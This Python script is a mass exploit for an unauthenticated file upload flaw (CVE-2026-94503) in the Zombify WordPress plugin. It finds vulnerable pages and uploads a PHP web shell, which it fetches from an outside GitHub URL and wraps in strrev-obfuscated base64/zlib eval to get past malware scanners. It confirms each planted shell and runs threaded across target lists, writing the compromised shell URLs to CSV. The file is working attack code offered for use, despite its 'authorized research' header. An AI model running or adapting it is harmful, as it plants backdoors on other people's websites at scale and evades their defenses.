#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Wayang1337/CVE-2026-94503 (see README for attribution/license)
"""CVE-2026-94503 - Zombify <= 1.7.7 Unauthenticated Arbitrary File Upload -> RCE (mass PoC)

Root cause (zombify/controllers/public_frontend_controller.php):
  add_filter('wp', zombify_public_frontend_page_func) runs on the "Post Create Page".
  Guest fails zf_user_can_create() -> controller("", "permissiondenied") ->
  BaseController::action() with $action_param == '' reads $_GET['action'] and
  dispatches ANY public method, e.g. actionZombify_video_upload():
    - no is_user_logged_in(), no nonce
    - chunk assembled to wp-content/uploads/YYYY/MM/<resumableFilename> BEFORE ext check
    - ext check (mp4/mp3 only) fails -> JSON error, file NOT deleted -> payload stays.

Payload pipeline (WAF bypass): hosts with content scanners delete a raw bp2.php
(signature: eval(base64_decode...), file_put_contents+base64_decode...) within
seconds of landing. So we upload an EVAL WRAPPER: zlib+base64 blob, function
names strrev-obfuscated, decoded and eval()'d in memory -> the raw bp2 source
never persists on disk as PHP.

Usage:
  python3 mass_poc.py -u http://target          # single, full exploit
  python3 mass_poc.py -f targets.txt -o out.csv # mass, CSV flushed live per result
  options: --threads 10, --timeout 30, --no-ssl, --probe-only, --shell-name,
           --payload, --payload-url, --brute
"""
import argparse, csv, io, os, random, string, sys, time, datetime, zlib, base64
import xml.etree.ElementTree as ET
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

DEFAULT_PAYLOAD_URL = "https://github.com/harapanroleplay/Official-personal/raw/refs/heads/main/bp2.php"
HERE = os.path.dirname(os.path.abspath(__file__))
BP2_SIZE = 172319
VERIFY_STRING = b"wpAdminModal"          # unique marker in bp2.php HTML tail
VERIFY_MIN_BYTES = 50000
requests.packages.urllib3.disable_warnings()


def norm(base):
    base = base.strip().rstrip("/")
    if not base.startswith(("http://", "https://")):
        base = "http://" + base
    return base


def load_payload(args):
    """Local file wins, else cached copy next to script, else download once."""
    if args.payload:
        if not os.path.exists(args.payload):
            sys.exit("payload not found: %s" % args.payload)
        with open(args.payload, "rb") as fh:
            return fh.read(), args.payload
    cache = os.path.join(HERE, "bp2.php")
    if os.path.exists(cache):
        with open(cache, "rb") as fh:
            return fh.read(), cache
    r = requests.get(args.payload_url, timeout=args.timeout, verify=not args.insecure)
    r.raise_for_status()
    with open(cache, "wb") as fh:
        fh.write(r.content)
    return r.content, args.payload_url


def _php_single_quote(b):
    return b.replace(b"\\", b"\\\\").replace(b"'", b"\\'")


def build_wrapper(payload):
    """Re-emit payload as PHP statements + strrev-obfuscated
    gzuncompress/base64_decode + eval($f). Uploaded file never contains scanner
    signatures; decoded source only exists in memory during eval.
    ponytail: layout offsets hardcode for bp2 (jpeg@18, code@49436-147163, html tail);
    other sizes -> raw upload passthrough."""
    if len(payload) != BP2_SIZE:
        return payload
    inner = (b"echo '" + _php_single_quote(payload[18:49430]) + b"';\n"
             + payload[49436:147163] + b"\n"
             + b"echo '" + _php_single_quote(payload[147166:]) + b"';")
    enc = base64.b64encode(zlib.compress(inner, 9)).decode()
    return ('<?php $a="%s";$b=strrev("edoced_46esab");$c=strrev("sserpmocnuzg");'
            '$f=$c($b($a));eval($f);' % enc).encode()


def find_pages(base, s, t):
    """List page IDs via REST (pretty permalinks + plain fallback)."""
    for path in ("/wp-json/wp/v2/pages?per_page=100&_fields=id",
                 "/?rest_route=/wp/v2/pages&per_page=100&_fields=id"):
        try:
            r = s.get(base + path, timeout=t, allow_redirects=True)
            if r.status_code == 200:
                ids = [p.get("id") for p in r.json() if isinstance(p, dict) and p.get("id")]
                if ids:
                    return ids
        except Exception:
            continue
    return None  # REST dead -> sitemap/brute fallbacks


def probe(base, qparams, s, t):
    """Two-step to avoid WP 404 false positives (missing page is 404 too):
    1) plain GET must be 200 (page exists & published)
    2) GET with action must be 404 (only actionZombify_video_upload emits 404)
    """
    try:
        r1 = s.get(base + "/", params=dict(qparams), timeout=t, allow_redirects=True)
        if r1.status_code != 200:
            return False
        q = {"action": "zombify_video_upload", "resumableIdentifier": "zfprobe",
             "resumableFilename": "zf.php", "resumableChunkNumber": "1"}
        q.update(qparams)
        r2 = s.get(base + "/", params=q, timeout=t, allow_redirects=True)
        return r2.status_code == 404
    except Exception:
        return False


def _sitemap_page_urls(base, s, t):
    ns = {"s": "http://www.sitemaps.org/schemas/sitemap/0.9"}
    for sm in ("/wp-sitemap.xml", "/sitemap.xml"):
        try:
            r = s.get(base + sm, timeout=t)
            if r.status_code != 200:
                continue
            root = ET.fromstring(r.content)
            urls = [e.text for e in root.findall(".//s:url/loc", ns) if e.text]
            if not urls:  # index: open child sitemaps that look like pages
                for loc in [e.text for e in root.findall(".//s:sitemap/loc", ns) if e.text]:
                    if "page" not in loc:
                        continue
                    r2 = s.get(loc, timeout=t)
                    if r2.status_code == 200:
                        urls += [e.text for e in ET.fromstring(r2.content).findall(".//s:url/loc", ns) if e.text]
            if urls:
                return urls
        except Exception:
            continue
    return []


def find_create_page(base, s, args):
    t = args.timeout
    # 1) REST page ids (authoritative for published pages)
    pages = find_pages(base, s, t)
    if pages:
        for pid in pages:
            if probe(base, {"page_id": pid}, s, t):
                return "page_id=%d" % pid
        # published pages exhausted -> try sitemap slugs (?pagename= also passes is_page())
        for u in _sitemap_page_urls(base, s, t):
            slug = u.rstrip("/").split("/")[-1]
            if slug and probe(base, {"pagename": slug}, s, t):
                return "pagename=%s" % slug
        # unpublished create page can't route for guests anyway -> honest "inactive"
        return None
    # 2) REST dead -> sitemap slugs, then bounded page_id brute
    for u in _sitemap_page_urls(base, s, t):
        slug = u.rstrip("/").split("/")[-1]
        if slug and probe(base, {"pagename": slug}, s, t):
            return "pagename=%s" % slug
    for pid in range(1, args.brute + 1):
        if probe(base, {"page_id": pid}, s, t):
            return "page_id=%d" % pid
    return None


def plugin_fingerprint(base, s, t):
    """Zombify has no readme.txt; direct PHP access dies with known string."""
    try:
        r = s.get(base + "/wp-content/plugins/zombify/zombify.php", timeout=t)
        if "No direct script access" in r.text:
            return "present"
        if r.status_code in (200, 403):
            return "maybe"
    except Exception:
        pass
    return "absent"


def exploit(base, page_ref, shell_name, upload_bytes, s, t):
    ident = "zf" + "".join(random.choices(string.hexdigits.lower() + string.digits, k=16))
    data = {
        "resumableFilename": shell_name,
        "resumableChunkNumber": "1",
        "resumableChunkSize": str(len(upload_bytes)),
        "resumableTotalSize": str(len(upload_bytes)),
        "resumableTotalChunks": "1",
        "resumableIdentifier": ident,
        "unid": ident,
        "field_path": "video",
    }
    key, val = page_ref.split("=", 1)
    page_param = {key: int(val) if val.isdigit() else val}
    try:
        s.post(base + "/",
               params={"action": "zombify_video_upload", **page_param},
               data=data,
               files={"file": (shell_name, io.BytesIO(upload_bytes), "application/octet-stream")},
               timeout=max(t, 60), allow_redirects=True)
    except Exception:
        return None

    # verify: wrapper lands in uploads/YYYY/MM/ (server clock) or flat (yearmonth off)
    now = datetime.datetime.now(datetime.timezone.utc)
    candidates = [f"{base}/wp-content/uploads/{shell_name}"]
    for i in range(4):
        d = now - datetime.timedelta(days=31 * i)
        candidates.append(f"{base}/wp-content/uploads/{d.year}/{d.month:02d}/{shell_name}")
    for attempt in range(3):
        for url in candidates:
            try:
                r = s.get(url, timeout=max(t, 30))
                if r.status_code == 200 and VERIFY_STRING in r.content and len(r.content) > VERIFY_MIN_BYTES:
                    return url
            except Exception:
                continue
        time.sleep(2)
    return None


def run_one(target, args, upload_bytes):
    base = norm(target)
    out = {"target": base, "plugin": "", "page": "", "shell": "", "status": ""}
    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2026-94503-PoC"
    s.verify = not args.insecure
    t = args.timeout
    try:
        s.get(base, timeout=t, allow_redirects=True)
    except Exception as e:
        out["status"] = "unreachable: %s" % type(e).__name__
        return out

    out["plugin"] = plugin_fingerprint(base, s, t)
    if out["plugin"] == "absent":
        out["status"] = "zombify not found"
        return out

    ref = find_create_page(base, s, args)
    if not ref:
        out["status"] = "route inactive (create page not found / plugin inactive)"
        return out
    out["page"] = ref

    if args.probe_only:
        out["status"] = "VULNERABLE (probe hit, not exploited)"
        return out

    shell = args.shell_name or ("bp%d.php" % random.randint(100000, 999999))
    url = exploit(base, ref, shell, upload_bytes, s, t)
    if url:
        out["shell"] = url
        out["status"] = "VULNERABLE -> RCE"
    else:
        out["status"] = "probe hit but payload not verified"
    return out


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-94503 Zombify unauth upload mass PoC")
    ap.add_argument("-u", "--url", help="single target base URL")
    ap.add_argument("-f", "--file", help="file with one target base URL per line")
    ap.add_argument("-o", "--out", help="CSV output path (written live, one row per result)")
    ap.add_argument("--threads", type=int, default=10)
    ap.add_argument("--timeout", type=int, default=30, help="per-request timeout seconds")
    ap.add_argument("--brute", type=int, default=600, help="page_id brute cap when REST is dead")
    ap.add_argument("--shell-name", help="fixed payload filename (default random bpNNNNNN.php)")
    ap.add_argument("--payload", help="local payload file (default: cached bp2.php / download)")
    ap.add_argument("--payload-url", default=DEFAULT_PAYLOAD_URL)
    ap.add_argument("--probe-only", action="store_true", help="detect only, no payload upload")
    ap.add_argument("--insecure", "--no-ssl", dest="insecure", action="store_true",
                    help="skip TLS verify (alias: --no-ssl)")
    args = ap.parse_args()

    targets = []
    if args.url:
        targets.append(args.url)
    if args.file:
        with open(args.file) as fh:
            targets += [l.strip() for l in fh if l.strip() and not l.startswith("#")]
    if not targets:
        ap.error("need -u or -f")

    payload, src = load_payload(args)
    upload_bytes = build_wrapper(payload)
    print("payload: %s (%d bytes) -> upload %d bytes (eval wrapper)"
          % (src, len(payload), len(upload_bytes)))

    # live CSV: header up front, one flushed row per completed result
    csv_writer = csv_fh = None
    if args.out:
        csv_fh = open(args.out, "w", newline="")
        csv_writer = csv.DictWriter(csv_fh, fieldnames=["target", "plugin", "page", "shell", "status"])
        csv_writer.writeheader()
        csv_fh.flush()

    done = vuln = 0
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futs = {ex.submit(run_one, t2, args, upload_bytes): t2 for t2 in targets}
        for fut in as_completed(futs):
            r = fut.result()
            done += 1
            if r["status"].startswith("VULNERABLE"):
                vuln += 1
            print("[%(status)s] %(target)s page=%(page)s shell=%(shell)s" % r, flush=True)
            if csv_writer:
                csv_writer.writerow(r)
                csv_fh.flush()

    if csv_fh:
        csv_fh.close()
    print("\n%d/%d vulnerable" % (vuln, done))
    if args.out:
        print("csv: %s" % args.out)


if __name__ == "__main__":
    sys.exit(main())
